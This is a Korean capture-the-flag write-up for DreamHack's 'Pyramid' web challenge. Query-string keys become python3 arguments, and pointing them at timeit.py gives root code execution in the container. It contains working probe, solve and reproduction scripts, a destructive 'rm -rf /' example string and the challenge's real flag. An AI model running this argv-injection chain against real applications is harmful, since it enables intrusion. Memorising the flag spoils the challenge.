[🥇 Gold 4] 쿼리스트링 키가 argv 가 된다 — DreamHack Pyramid 풀이

2026-10-26·1분 읽기·

[🥇 Gold 4] 쿼리스트링 키가 argv 가 된다 — DreamHack Pyramid 풀이

Flask 핸들러가 request.args.keys() 를 그대로 python3 의 argv 로 넘긴다. cmd[1] 이 스크립트 자리에 못박혀 있어 -c 를 앞에 둘 수 없지만, os.path.exists 가 절대경로를 받아 주므로 표준 라이브러리의 timeit.py 를 스크립트로 지목하면 그 CLI 가 위치인자를 파이썬 문장으로 컴파일해 실행한다. 셸 메타문자 블랙리스트는 subprocess.run 이 리스트를 받는 순간 의미를 잃는다.

문제: DreamHack — Pyramid 분류: web 난이도: 🥇 Gold 4 FLAG: DH{there_is_/lib/python3.11/timeit.py}

문제 설명은 한 줄이다. "there is Pyramid on dreamhack". Py 만 굵게 칠해 뒀으니 파이썬 이야기라는 뜻이다.

서버 주소를 받아 브라우저로 열면 아무것도 없다. 500 이 뜬다.

DreamHack Pyramid 라이브 서버의 루트 경로에 아무 인자 없이 접속한 화면. 주소창은 host3.dreamhack.games:23362 이고 본문에는 Flask 기본 500 Internal Server Error 페이지가 떠 있다
DreamHack Pyramid 라이브 서버의 루트 경로에 아무 인자 없이 접속한 화면. 주소창은 host3.dreamhack.games:23362 이고 본문에는 Flask 기본 500 Internal Server Error 페이지가 떠 있다

빈 페이지도, 폼도, 안내문도 없다. 요청 자체가 서버에서 예외로 끝났다는 뜻이다. 배포 파일을 받아 보면 왜 그런지 바로 보인다.


문제 개요

항목내용
문제명Pyramid
난이도🥇 Gold 4
분류web
제공 파일app.py · Dockerfile · requirements.txt (전부 합쳐 1KB)
스택Python 3.11 (python:3.11-slim) + Flask, 개발 서버 9000 포트
핵심 취약점쿼리스트링 키가 검증 없이 python3 의 argv 로 들어간다
최종 결과컨테이너 안 root 권한 임의 코드 실행 → /app/flag

흐름은 짧다. argv 를 내가 쓴다는 것을 확인하고, 1번 칸이 스크립트로 고정돼 있다는 제약을 인정한 다음, 그 1번 칸에 둘 수 있으면서 나머지 인자를 코드로 실행해 주는 파일을 표준 라이브러리에서 찾는다.



🧩 배경 — subprocess.run 에 리스트를 넘기면 셸이 없다

파이썬에서 외부 명령을 부르는 방법은 두 갈래다.

subprocess.run("ls " + user_input, shell=True)   # /bin/sh -c "..." 로 간다
subprocess.run(["ls", user_input])               # execve 로 바로 간다

위쪽은 ; | && $(...) 같은 셸 문법이 전부 살아 있다. 명령 주입이 생기는 자리다.

아래쪽은 셸을 거치지 않는다. 리스트의 각 원소가 그대로 argv[0], argv[1], … 이 되어 execve 로 넘어간다. user_input 에 ; rm -rf / 를 넣어도 그냥 "; rm -rf /" 라는 이름의 인자 하나일 뿐이다.

그래서 보통은 "리스트로 넘겼으니 안전하다"로 끝난다. 이 문제는 거기서 한 칸 더 들어간다. 셸 주입이 없어도 argv 를 내 마음대로 쓸 수 있다면, 그 프로그램이 argv 로 무엇을 하는지가 전부 공격면이 된다. 호출되는 프로그램이 ls 면 파일 목록이 바뀌는 정도지만, python3 라면 이야기가 다르다.

배포된 app.py 는 27줄이다.

cat -n extracted/app.py
cat -n 으로 출력한 Pyramid 챌린지의 app.py 전문. 10번 줄에서 request.args.keys() 를 python3 뒤에 붙이고 11번 줄에서 cmd 1번 원소에 .py 를 덧붙이며 13번 줄에 16글자 블랙리스트가 들어 있다
cat -n 으로 출력한 Pyramid 챌린지의 app.py 전문. 10번 줄에서 request.args.keys() 를 python3 뒤에 붙이고 11번 줄에서 cmd 1번 원소에 .py 를 덧붙이며 13번 줄에 16글자 블랙리스트가 들어 있다

핵심은 열 번째 줄부터 다섯 줄이다.

cmd = ['python3'] + list(request.args.keys())
cmd[1] += '.py'
 
filter_codes = ['`', '$', '<', '>', '|', '&', '{', '}', '=', '*', '?', '!', ';', '"', ',', '\n']
for filter_code in filter_codes:
    for arg in cmd:
        if filter_code in arg:
            return 'No hack _(:3)J'
 
if os.path.exists(cmd[1]) == False:
    return 'No such file _(:3)J'
 
response = subprocess.run(
    cmd, capture_output=True, text=True
)
return response.stdout

request.args 는 쿼리스트링을 파싱한 결과다. 값이 아니라 키를 쓴다는 점이 특이하다. /?a=1&b=2 로 요청하면 ['a', 'b'] 가 나오고, 값 없이 /?a&b 로 보내도 똑같이 ['a', 'b'] 가 나온다. 즉 등호를 쓸 필요도 없이 argv 를 통째로 받아쓸 수 있다.

맨 앞 인자에는 .py 가 붙고, 그 경로가 실제로 존재해야 통과한다. 그리고 subprocess.run 은 리스트를 받는다 — 셸은 없다.

아까 루트 경로에서 500 이 난 이유도 여기서 나온다. 키가 하나도 없으면 cmd 는 ['python3'] 뿐이고, cmd[1] 에서 IndexError 가 터진다.


🔬 코드 정찰 — 무엇을 제어할 수 있나

가장 먼저 확인할 것은 "정말 내가 쓴 키가 argv 가 되는가"다. app 을 키로 주면 cmd[1] 이 app.py 가 되고, 그건 챌린지 자신의 소스라 존재한다. 실행되면 Flask 가 한 번 더 뜨려다 포트 충돌로 죽을 테고, 그 전에 찍는 배너가 보일 것이다.

주소창이 host3.dreamhack.games:23362/?app 인 브라우저 화면. 본문에 Serving Flask app 'app' 과 Debug mode: off 두 줄이 출력돼 있어 서버가 app.py 를 실제로 python3 로 실행했음을 보여준다
주소창이 host3.dreamhack.games:23362/?app 인 브라우저 화면. 본문에 Serving Flask app 'app' 과 Debug mode: off 두 줄이 출력돼 있어 서버가 app.py 를 실제로 python3 로 실행했음을 보여준다

Flask 기동 배너가 그대로 응답 본문으로 돌아왔다. python3 app.py 가 진짜로 실행됐고, 그 stdout 이 HTTP 응답이 된다.

존재하지 않는 이름을 주면 두 번째 관문에서 걸린다.

주소창이 host3.dreamhack.games:23362/?nope 인 브라우저 화면. nope.py 가 없어서 os.path.exists 검사에 걸렸고 본문에 No such file 메시지만 한 줄 떠 있다
주소창이 host3.dreamhack.games:23362/?nope 인 브라우저 화면. nope.py 가 없어서 os.path.exists 검사에 걸렸고 본문에 No such file 메시지만 한 줄 떠 있다

블랙리스트에 적힌 글자를 섞으면 그보다 먼저 막힌다.

주소창이 host3.dreamhack.games:23362/?app&%3Bls 인 브라우저 화면. 두 번째 키에 세미콜론이 들어 있어 filter_codes 검사에 걸렸고 본문에 No hack 메시지가 떠 있다
주소창이 host3.dreamhack.games:23362/?app&%3Bls 인 브라우저 화면. 두 번째 키에 세미콜론이 들어 있어 filter_codes 검사에 걸렸고 본문에 No hack 메시지가 떠 있다

여기까지가 블랙박스로 알 수 있는 전부다. 이 다음부터는 라이브 서버를 계속 찔러 가며 탐색할 일이 아니라, 같은 것을 로컬에 세워 놓고 마음껏 두들기는 게 맞다. Dockerfile 이 통째로 들어 있으니 그대로 쓰면 된다. 플래그만 눈에 띄는 값으로 바꿔 둔다.

mkdir -p local
cp extracted/app.py extracted/requirements.txt local/
sed 's|DH{this_is_not_real_flag}|DH{local_test_flag_pyramid_1304}|' extracted/Dockerfile > local/Dockerfile
docker build -t pyramid-1304 local/
docker run -d --name pyramid-1304 -p 9304:9000 pyramid-1304

로컬 랩이 라이브와 같은 반응을 내는지 한 번에 확인하는 스크립트를 문제 폴더에 둔다.

#!/usr/bin/env bash
# Local lab sanity check -- the challenge image built from the distributed
# Dockerfile, with the placeholder flag swapped for a sentinel.
set -eu
cd "$(dirname "$(readlink -f "$0")")"
docker ps --filter name=pyramid-1304 --format 'container {{.Names}}  {{.Status}}  {{.Ports}}'
echo "[bare /]      HTTP $(curl -s -o /dev/null -w '%{http_code}' http://127.0.0.1:9304/)"
echo "[?app]        $(curl -s 'http://127.0.0.1:9304/?app' | tr -d '\r' | tr '\n' ' ')"
echo "[?nope]       $(curl -s 'http://127.0.0.1:9304/?nope')"
echo "[?app&;ls]    $(curl -s 'http://127.0.0.1:9304/?app&;ls')"
echo "[traceback]   $(docker logs pyramid-1304 2>&1 | grep -a IndexError | tail -1)"
./lab_check.sh
lab_check.sh 실행 결과 터미널. 컨테이너가 9304 포트로 떠 있고 bare 요청은 HTTP 500, ?app 은 Flask 배너, ?nope 은 No such file, 세미콜론이 든 요청은 No hack, 도커 로그에는 IndexError list index out of range 가 남아 있다
lab_check.sh 실행 결과 터미널. 컨테이너가 9304 포트로 떠 있고 bare 요청은 HTTP 500, ?app 은 Flask 배너, ?nope 은 No such file, 세미콜론이 든 요청은 No hack, 도커 로그에는 IndexError list index out of range 가 남아 있다

네 가지 반응이 라이브와 같고, 500 의 정체가 IndexError 라는 것도 컨테이너 로그로 확인된다. 이제부터는 로컬에서 푼다.



🧱 블랙리스트가 지키려던 것

필터에 적힌 16글자를 늘어놓고 보면 성격이 분명하다. 백틱, 달러, 리다이렉션, 파이프, 앰퍼샌드, 중괄호, 별표, 물음표, 느낌표, 세미콜론, 큰따옴표. 전부 셸 메타문자다. 출제자가 막고 싶었던 것은 명령 주입이다.

그런데 subprocess.run(cmd) 는 리스트를 받는다. shell=True 가 없으니 /bin/sh 는 애초에 뜨지 않는다. 막으려던 공격이 이미 구조적으로 불가능한 곳에 필터를 둔 셈이다.

블랙리스트가 막는 것과 실제로 아픈 것을 비교한 도식. 왼쪽은 16글자가 전부 셸 메타문자이며 shell=False 라 막을 게 없다는 설명이고 오른쪽은 등호와 쉼표 두 글자만 실제 제약으로 남는다는 설명이다
블랙리스트가 막는 것과 실제로 아픈 것을 비교한 도식. 왼쪽은 16글자가 전부 셸 메타문자이며 shell=False 라 막을 게 없다는 설명이고 오른쪽은 등호와 쉼표 두 글자만 실제 제약으로 남는다는 설명이다

쓸모가 전혀 없지는 않다. 페이로드를 짜는 입장에서 실제로 걸리는 글자가 둘 있다.

등호(=) — --number=2 처럼 긴 옵션에 값을 붙이는 문법을 못 쓴다. 다만 getopt 는 -n 2 처럼 띄어 쓴 형태도 받고, 여기서는 띄어쓰기가 아니라 아예 다른 키로 넘기면 되니 사실상 제약이 아니다.

쉼표(,) — 파이썬 코드를 문자열로 넘길 때 인자 두 개짜리 호출이나 리스트 리터럴을 못 쓴다. os.system('x'), open(p).read(), os.popen(s).read() 처럼 인자 하나로 끝나는 호출만 쓰면 된다. 이게 유일하게 신경 쓰이는 제약이다.

나머지는 어차피 쿼리스트링 구조상 퍼센트 인코딩으로 보내야 하는 글자들이라 손해가 없다. 진짜 관문은 필터가 아니라 cmd[1] += '.py' 쪽이다.


🐛 삽질 — 1번 칸을 네 번 헛짚었다

python3 를 제어한다는 걸 알았으니 처음 떠오르는 건 당연히 -c 다. 그런데 파이썬의 명령행 해석 규칙 때문에 쉽게 풀리지 않는다. 막혔던 시도를 로컬 랩에 다시 돌려 묶어 봤다.

#!/usr/bin/env bash
# The four attempts that did not work, re-run against the local lab.
set -eu
B=http://127.0.0.1:9304
T=%2Fusr%2Flocal%2Flib%2Fpython3.11%2Ftimeit
echo "[1] ?-c&print(1)            -> $(curl -s "$B/?-c&print(1)")"
echo "[2] ?app&-c&print(1)        -> $(curl -s "$B/?app&-c&print(1)" | tr '\n' ' ')"
echo "[3] ?timeit&--number%3D2&.. -> $(curl -s "$B/?$T&--number%3D2&print(1)")"
echo "[4] ?timeit&-r&1&-n&1&..    -> '$(curl -s "$B/?$T&-r&1&-n&1&print(1)")'  (stdout 이 비었다)"
echo -n "    flask 가 보는 키 순서   -> "
python3 -c 'from urllib.parse import parse_qsl
from werkzeug.datastructures import MultiDict
print(list(MultiDict(parse_qsl("timeit&-r&1&-n&1&stmt", keep_blank_values=True)).keys()))'
./deadends.sh
deadends.sh 실행 결과 터미널. 첫 시도는 No such file, 둘째는 Flask 배너, 셋째는 No hack, 넷째는 stdout 이 빈 응답이고 마지막 줄에 werkzeug MultiDict 가 중복 키를 합쳐 키 다섯 개만 남긴 목록이 찍혀 있다
deadends.sh 실행 결과 터미널. 첫 시도는 No such file, 둘째는 Flask 배너, 셋째는 No hack, 넷째는 stdout 이 빈 응답이고 마지막 줄에 werkzeug MultiDict 가 중복 키를 합쳐 키 다섯 개만 남긴 목록이 찍혀 있다
▶🐛 삽질 1 — `-c` 를 1번 칸에 두면 `-c.py` 를 찾는다

/?-c&print(1) 로 보내면 cmd 는 ['python3', '-c', 'print(1)'] 이 된다. 좋아 보이지만 바로 다음 줄에서 cmd[1] += '.py' 가 돌아 -c.py 가 되고, 그런 파일은 없으니 os.path.exists 에서 막힌다.

위 캡쳐의 [1] 줄이 그 결과다. No such file _(:3)J.

1번 칸은 언제나 스크립트 경로다. 여기를 옵션으로 쓸 방법은 없다.

▶🐛 삽질 2 — 스크립트 뒤에 붙인 옵션은 파이썬이 안 본다

그러면 1번 칸은 멀쩡한 스크립트로 채우고 -c 를 2번 칸부터 두면 어떨까. /?app&-c&print(1) 은 python3 app.py -c print(1) 이 된다.

파이썬은 스크립트 이름을 만나는 순간 옵션 파싱을 멈춘다. 그 뒤의 것은 전부 스크립트의 sys.argv 로 넘어간다. app.py 는 sys.argv 를 쳐다보지도 않으니 아무 일도 일어나지 않고, 그냥 Flask 배너만 또 나온다. 캡쳐의 [2] 줄.

인터프리터 옵션은 스크립트보다 앞에 와야 하는데, 앞자리는 .py 로 잠겨 있다.

▶🐛 삽질 3 — 긴 옵션에 값을 붙이려다 등호에 걸린다

-n 2 를 키 두 개로 쪼개 보내는 게 번거로워서 --number=2 한 덩어리로 보내려 했다. 등호를 %3D 로 인코딩해도 Flask 가 디코딩한 뒤의 키에는 = 가 그대로 들어 있어서 필터에 걸린다. 캡쳐의 [3] 줄.

필터가 실제로 일을 하는 거의 유일한 지점이다. 그래 봐야 키를 하나 더 쓰면 그만이라 우회랄 것도 없다.

▶🐛 삽질 4 — `-r 1 -n 1` 이 조용히 `-r 1 -n` 이 된다

이건 파이썬이 아니라 Flask 쪽 함정이다. 반복 횟수와 루프 횟수를 둘 다 1로 주려고 &-r&1&-n&1& 로 보냈더니 응답이 빈 문자열로 돌아왔다.

request.args 는 MultiDict 이고 .keys() 는 중복 키를 하나로 합친다. 두 번째 1 이 통째로 사라지면서 argv 가 -r 1 -n <내 코드> 가 되고, -n 이 내 코드를 숫자로 파싱하려다 예외로 죽는다. 캡쳐 마지막 줄에서 키가 다섯 개만 남은 게 그것이다.

응답 본문이 stdout 뿐이라 예외 메시지는 stderr 로 빠져 화면에 아무것도 안 남는다. 그래서 "왜 빈 응답이지" 하고 한참 봤다.

argv 로 쓸 키는 전부 서로 달라야 한다. 그래서 최종 페이로드는 -r 1 -n 2 처럼 값을 일부러 어긋나게 잡았다.



💣 핵심 — cmd[1] 을 표준 라이브러리로 돌린다

조건을 다시 정리하면 이렇다.

  • cmd[1] 은 <내가 준 키> + ".py" 이고, 그 경로가 존재해야 한다.
  • 그 뒤의 키들은 그 스크립트의 sys.argv 가 된다.

os.path.exists 는 상대경로만 받는 함수가 아니다. 절대경로를 주면 그대로 검사한다. 즉 cmd[1] 로 지목할 수 있는 후보는 /app 안의 파일이 아니라 컨테이너 파일시스템 전체의 모든 .py 다. 파이썬이 깔려 있으니 표준 라이브러리가 통째로 있다.

증명은 간단하다. this.py 를 지목해 본다.

주소창이 host3.dreamhack.games:23362/?/usr/local/lib/python3.11/this 인 브라우저 화면. 본문에 The Zen of Python, by Tim Peters 로 시작하는 선문답 전문이 출력돼 표준 라이브러리 스크립트가 실행됨을 보여준다
주소창이 host3.dreamhack.games:23362/?/usr/local/lib/python3.11/this 인 브라우저 화면. 본문에 The Zen of Python, by Tim Peters 로 시작하는 선문답 전문이 출력돼 표준 라이브러리 스크립트가 실행됨을 보여준다

Zen of Python 이 통째로 나왔다. 표준 라이브러리의 아무 스크립트나 실행할 수 있다는 뜻이다.

그러면 질문이 바뀐다. 표준 라이브러리 안에, 명령행 위치인자를 받아 그것을 파이썬 코드로 실행해 주는 모듈이 있는가.

있다. timeit 이다. 벤치마크용 모듈이라 "측정할 문장"을 명령행에서 받는 게 본업이다. 실제 소스에서 argv 가 코드로 흘러가는 경로만 뽑아 보면 네 줄이면 끝난다.

docker exec pyramid-1304 grep -n -E "args = sys\.argv|^    stmt = |t = Timer\(stmt|src = template\.format|code = compile|exec\(code" /usr/local/lib/python3.11/timeit.py
컨테이너 안 python3.11 표준 라이브러리 timeit.py 에서 grep 으로 뽑은 여섯 줄. 264번 줄에서 sys.argv 를 받고 277번 줄에서 남은 인자를 줄바꿈으로 이어 stmt 를 만들며 320번 줄에서 Timer 에 넘기고 133에서 136번 줄이 그 문장을 compile 하고 exec 한다
컨테이너 안 python3.11 표준 라이브러리 timeit.py 에서 grep 으로 뽑은 여섯 줄. 264번 줄에서 sys.argv 를 받고 277번 줄에서 남은 인자를 줄바꿈으로 이어 stmt 를 만들며 320번 줄에서 Timer 에 넘기고 133에서 136번 줄이 그 문장을 compile 하고 exec 한다

읽는 순서는 264 → 277 → 320 → 133 → 135 → 136 이다. sys.argv[1:] 에서 옵션을 떼고 남은 위치인자를 줄바꿈으로 이어 stmt 를 만들고, 그걸 Timer 에 넘기면 템플릿에 끼워 compile 한 다음 exec 한다. 샌드박스도, 검사도 없다. 애초에 그런 용도가 아니니까.

-h 를 주면 모듈 자신이 사용법을 설명해 준다.

주소창이 timeit 경로와 -h 로 끝나는 브라우저 화면. 본문에 timeit 모듈 docstring 이 출력돼 Command line usage 로 python timeit.py 대괄호 옵션들과 statement 를 받는다는 설명이 보인다
주소창이 timeit 경로와 -h 로 끝나는 브라우저 화면. 본문에 timeit 모듈 docstring 이 출력돼 Command line usage 로 python timeit.py 대괄호 옵션들과 statement 를 받는다는 설명이 보인다

python timeit.py [-n N] [-r N] [-s S] [-p] [-h] [--] [statement]. 마지막 statement 가 우리가 넣을 자리다.

전체 사슬을 한 장으로 정리하면 이렇다.

쿼리스트링 키가 argv 로 조립되는 과정을 다섯 단계로 그린 도식. GET 요청의 키들이 werkzeug MultiDict 를 지나 리스트가 되고 python3 앞에 붙은 뒤 1번 칸에 .py 가 붙으며 execve 로 넘어가 timeit 이 문장을 compile 하고 exec 해 플래그가 응답 본문으로 돌아온다
쿼리스트링 키가 argv 로 조립되는 과정을 다섯 단계로 그린 도식. GET 요청의 키들이 werkzeug MultiDict 를 지나 리스트가 되고 python3 앞에 붙은 뒤 1번 칸에 .py 가 붙으며 execve 로 넘어가 timeit 이 문장을 compile 하고 exec 해 플래그가 응답 본문으로 돌아온다

경로를 고를 때 한 가지 함정이 있다. 공식 python:3.11-slim 이미지는 파이썬을 소스에서 빌드해 /usr/local 에 넣는다. 데비안 패키지로 깔린 파이썬이 쓰는 /usr/lib/python3.11 이 아니다. 내가 로컬에 세운 랩에는 /usr/lib/python3.11/timeit.py 가 아예 없었다.

추측할 필요는 없다. 이 핸들러는 os.path.exists 결과를 응답 문구로 그대로 알려준다. No such file 이 돌아오면 없는 것이고, 다른 반응이면 있는 것이다. 공짜 존재 오라클이다.


🎯 익스플로잇 — 오라클로 경로를 확정하고 argv 를 확인한다

정찰 스크립트는 세 가지를 본다. 필터가 실제로 어떤 글자에 반응하는지, 표준 라이브러리가 어디에 있는지, 그리고 서버의 python3 가 정말로 내가 쓴 argv 를 받았는지.

세 번째는 /proc/self/cmdline 을 읽으면 끝난다. 실행 중인 프로세스 자신의 명령행이다.

#!/usr/bin/env python3
"""Pyramid - recon helper.  Reuses solve.py's request primitives.
 
  [filter]  which of the blacklisted bytes actually come back as "No hack"
  [oracle]  sweep candidate stdlib locations through os.path.exists()
  [argv]    what the server's python3 really received (/proc/self/cmdline)
  [ls]      deployment layout under /app
"""
import sys
 
import solve
 
base = (sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:9304").rstrip("/")
one = lambda stmt: solve.run(base, stmt).split("\n")[0]
 
print("[filter] ';' ->", solve.get(base, ["app", ";ls"]).strip())
print("[filter] '=' ->", solve.get(base, ["app", "--help=x"]).strip())
print("[filter] ' ' ->", solve.get(base, ["app", "-c print(1)"]).split("\n")[0].strip(), "(space is not filtered)")
 
print("[oracle] sweeping stdlib locations")
for libdir in solve.LIBDIRS:
    for ver in solve.VERSIONS:
        cand = "%s/python%s/timeit" % (libdir, ver)
        hit = "No such file" not in solve.get(base, [cand, "-h"])
        print("    %-36s %s" % (cand + ".py", "FOUND" if hit else "-"))
 
solve.TIMEIT = solve.find_timeit(base)
print("[timeit] using", solve.TIMEIT + ".py")
print("[argv]  ", one("print(open('/proc/self/cmdline').read().split(chr(0)))"))
print("[ls]    ", one("print(__import__('os').listdir('/app'))"))
python3 probe.py http://host3.dreamhack.games:23362
probe.py 를 라이브 서버에 돌린 터미널 출력. 세미콜론과 등호는 No hack 으로 막히고 stdlib 경로 열두 곳 중 python3.11 timeit.py 두 곳만 FOUND 로 잡혔으며 proc self cmdline 에 내가 넣은 인자가 그대로 남아 있다
probe.py 를 라이브 서버에 돌린 터미널 출력. 세미콜론과 등호는 No hack 으로 막히고 stdlib 경로 열두 곳 중 python3.11 timeit.py 두 곳만 FOUND 로 잡혔으며 proc self cmdline 에 내가 넣은 인자가 그대로 남아 있다

[argv] 줄이 결정적이다.

['python3', '/usr/local/lib/python3.11/timeit.py', '-r', '1', '-n', '2',
 "print(open('/proc/self/cmdline').read().split(chr(0)))", '']

내가 쿼리스트링에 쓴 키가 한 칸씩 그대로 argv 에 들어가 있다. 중간에 셸이 끼어들 자리는 없다.

재미있는 건 라이브 서버에는 /usr/lib/python3.11/timeit.py 도 있다는 점이다. Dockerfile 이 apt install python3-pip 를 하면서 데비안 쪽 파이썬까지 끌어왔다. 내 로컬 빌드에서는 그쪽이 비어 있었는데, 패키지 해석 결과가 빌드 시점에 따라 달라진 모양이다. 어느 쪽이든 오라클이 찾아 주니 상관없다.

이제 브라우저 주소창에 직접 쳐도 플래그가 나온다.

주소창에 timeit 경로와 -r 1 -n 2 그리고 open 으로 app flag 를 읽는 문장이 퍼센트 인코딩돼 들어 있는 브라우저 화면. 본문에 플래그가 두 번 찍히고 뒤이어 2 loops, best of 1 이라는 timeit 측정 결과가 붙어 있다
주소창에 timeit 경로와 -r 1 -n 2 그리고 open 으로 app flag 를 읽는 문장이 퍼센트 인코딩돼 들어 있는 브라우저 화면. 본문에 플래그가 두 번 찍히고 뒤이어 2 loops, best of 1 이라는 timeit 측정 결과가 붙어 있다

플래그가 두 번 찍힌 건 -n 2 때문이다. timeit 은 측정할 문장을 지정한 횟수만큼 실제로 실행하니, print 도 그만큼 돌아간다. 마지막 줄의 2 loops, best of 1: 48.9 usec per loop 는 모듈이 원래 하는 일을 한 결과다.

그리고 플래그 내용이 정답을 그대로 말해 준다. DH{there_is_/lib/python3.11/timeit.py} — 출제자가 의도한 경로도 timeit.py 였다.



🚀 Full Exploit

손으로 주소창에 치는 것으로 끝낼 수도 있지만, 플래그 파일 이름이 배포본과 다를 수 있으니 디렉터리부터 훑고 들어가게 만들었다. 경로 탐색도 하드코딩하지 않고 존재 오라클로 결정한다.

#!/usr/bin/env python3
"""Pyramid (DreamHack Gold 4, web) - argv injection into `python3`.
 
    cmd = ['python3'] + list(request.args.keys())
    cmd[1] += '.py'
    subprocess.run(cmd, capture_output=True, text=True)
 
cmd[1] is forced to be the script, so python's own options can never come
first.  But os.path.exists(cmd[1]) accepts an absolute path, so cmd[1] can
point at any .py in the standard library -- and timeit.py's CLI takes a
python statement as a positional argument.
 
    python3 /usr/local/lib/python3.11/timeit.py -r 1 -n 2 "<statement>"
 
The blacklist (` $ < > | & { } = * ? ! ; " , and newline) never matters:
subprocess.run gets a list, so there is no shell.  The only real losses are
'=' (no --opt=value) and ',' (no multi-argument calls or list literals).
 
Usage:  python3 solve.py http://host1.dreamhack.games:PORT
"""
import re
import sys
import urllib.parse
import urllib.request
 
# '&' and '=' split the query string, '+' decodes to a space, '%' and '#'
# are structural, and a bare space is illegal in a request line -- everything
# else may travel through a key verbatim.
SAFE = "/.:()'[]-_"
 
# `python:X-slim` keeps the stdlib under /usr/local; a distro python keeps it
# under /usr/lib.  We do not have to guess: the handler answers "No such file"
# when os.path.exists(cmd[1]) fails, which is a free existence oracle.
LIBDIRS = ["/usr/local/lib", "/usr/lib"]
VERSIONS = ["3.13", "3.12", "3.11", "3.10", "3.9", "3.8"]
TIMEIT = None
 
 
def get(base, keys):
    qs = "&".join(urllib.parse.quote(k, safe=SAFE) for k in keys)
    with urllib.request.urlopen(base.rstrip("/") + "/?" + qs, timeout=30) as r:
        return r.read().decode(errors="replace")
 
 
def find_timeit(base):
    """Locate timeit.py through the handler's own os.path.exists() check."""
    for libdir in LIBDIRS:
        for ver in VERSIONS:
            cand = "%s/python%s/timeit" % (libdir, ver)
            if "No such file" not in get(base, [cand, "-h"]):
                return cand
    raise SystemExit("[!] timeit.py not found in any known stdlib location")
 
 
def run(base, stmt, loops="2", repeats="1"):
    """Execute one python statement on the target and return its stdout."""
    keys = [TIMEIT, "-r", repeats, "-n", loops, stmt]
    # keys must stay unique: Flask's MultiDict collapses duplicates and the
    # surviving order is what lands in argv.  "-r 1 -n 1" would silently
    # become "-r 1 -n", eating the statement as -n's operand.
    assert len(set(keys)) == len(keys), "duplicate key would be dropped"
    return get(base, keys)
 
 
def main():
    global TIMEIT
    base = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:9304"
 
    TIMEIT = find_timeit(base)
    print("[*] stdlib timeit:", TIMEIT + ".py")
    print("[*] RCE check:", run(base, "print(__import__('os').popen('id').read())").split("\n")[0])
 
    cands = []
    for d in ("/", "/app"):
        out = run(base, "print(__import__('os').listdir('%s'))" % d)
        names = re.findall(r"'([^']+)'", out.split("\n")[0])
        print("[*] listdir(%s) = %s" % (d, names))
        cands += [(d.rstrip("/") + "/" + n) for n in names if "flag" in n.lower()]
 
    print("[*] flag candidates:", cands)
    for path in cands:
        out = run(base, "print(open('%s').read())" % path)
        m = re.search(r"DH\{[^}]*\}", out)
        if m:
            print("[+] %s -> %s" % (path, m.group(0)))
            return 0
        print("[-] %s -> no DH{...}" % path)
    print("[!] flag not found")
    return 1
 
 
if __name__ == "__main__":
    sys.exit(main())
python3 solve.py http://host3.dreamhack.games:23362
solve.py 를 라이브 서버에 돌린 터미널 출력. 표준 라이브러리 timeit 경로를 찾고 uid 0 root 로 명령이 실행됨을 확인한 뒤 루트와 app 디렉터리를 나열해 flag 후보를 고르고 마지막 줄에서 app flag 를 읽어 DH 로 시작하는 플래그를 출력한다
solve.py 를 라이브 서버에 돌린 터미널 출력. 표준 라이브러리 timeit 경로를 찾고 uid 0 root 로 명령이 실행됨을 확인한 뒤 루트와 app 디렉터리를 나열해 flag 후보를 고르고 마지막 줄에서 app flag 를 읽어 DH 로 시작하는 플래그를 출력한다

uid=0(root) 이 찍힌 줄은 os.popen('id').read() 를 실행한 결과다. 파일 읽기에서 그친 게 아니라 컨테이너 안에서 root 로 임의 명령이 돌아간다.

run() 안의 assert 는 삽질 4에서 데인 것을 코드로 굳혀 둔 것이다. 키가 하나라도 겹치면 요청을 보내기 전에 터진다. 실제로 이 글을 쓰는 동안 -r 1 -n 1 을 다시 써서 한 번 걸렸다.


♻️ 재현

백업 폴더만 들고도 그대로 돌려 볼 수 있게 한 방 스크립트를 만들어 뒀다. 인자 없이 부르면 배포된 Dockerfile 로 같은 이미지를 빌드해 로컬에서 사슬 전체를 검증하고, 라이브 주소를 주면 진짜 플래그와 대조한다.

로컬 모드가 꺼내는 것은 내가 심어 둔 센티넬 값이지 진짜 플래그가 아니다. 진짜 플래그는 챌린지 VM 안에만 있으므로 스크립트가 그 사실을 출력에 명시한다.

#!/usr/bin/env bash
# Pyramid (DreamHack 1304, Gold 4, web) -- one-shot reproduction.
#
#   ./reproduce.sh                                  local docker, sentinel flag
#   ./reproduce.sh http://host3.dreamhack.games:PORT  live VM, real flag
#
# The real flag lives only inside the DreamHack VM, so the offline run proves
# the exploit chain against a locally built copy of the challenge image and
# checks for the sentinel flag it bakes in.  It never claims the real flag.
set -eu
cd "$(dirname "$(readlink -f "$0")")"
 
REAL='DH{there_is_/lib/python3.11/timeit.py}'
SENTINEL='DH{local_test_flag_pyramid_1304}'
 
if [ $# -ge 1 ]; then
  TARGET="$1"; EXPECT="$REAL"; MODE="live"
else
  TARGET="http://127.0.0.1:9304"; EXPECT="$SENTINEL"; MODE="local"
  echo "[*] building local copy of the challenge image"
  mkdir -p local
  cp extracted/app.py extracted/requirements.txt local/
  sed "s|DH{this_is_not_real_flag}|$SENTINEL|" extracted/Dockerfile > local/Dockerfile
  docker build -q -t pyramid-1304 local/ >/dev/null
  docker rm -f pyramid-1304 >/dev/null 2>&1 || true
  docker run -d --name pyramid-1304 -p 9304:9000 pyramid-1304 >/dev/null
  trap 'docker rm -f pyramid-1304 >/dev/null 2>&1 || true' EXIT
  for _ in $(seq 1 30); do
    curl -sf -o /dev/null "$TARGET/?app" && break
    sleep 1
  done
fi
 
echo "[*] mode=$MODE target=$TARGET"
OUT=$(timeout 300 python3 solve.py "$TARGET" 2>&1) || true
echo "$OUT" | tail -8
 
FLAG=$(printf '%s' "$OUT" | grep -aoE 'DH\{[^}]+\}' | head -1)
if [ "${FLAG:-}" = "$EXPECT" ]; then
  echo
  if [ "$MODE" = local ]; then
    echo "✅ PASS  chain works; local sentinel recovered: $FLAG"
    echo "         (real flag is server-side only: $REAL)"
  else
    echo "✅ PASS  $FLAG"
  fi
  exit 0
fi
echo
echo "❌ FAIL (얻은 값: '${FLAG:-없음}' / 기대: '$EXPECT')"
exit 1
./reproduce.sh
reproduce.sh 를 인자 없이 실행한 터미널 출력. 로컬 이미지를 빌드해 9304 포트로 띄운 뒤 solve.py 가 root 권한을 확인하고 app flag 에서 센티넬 값을 꺼내 PASS 로 끝나며 진짜 플래그는 서버 쪽에만 있다는 안내가 함께 찍혀 있다
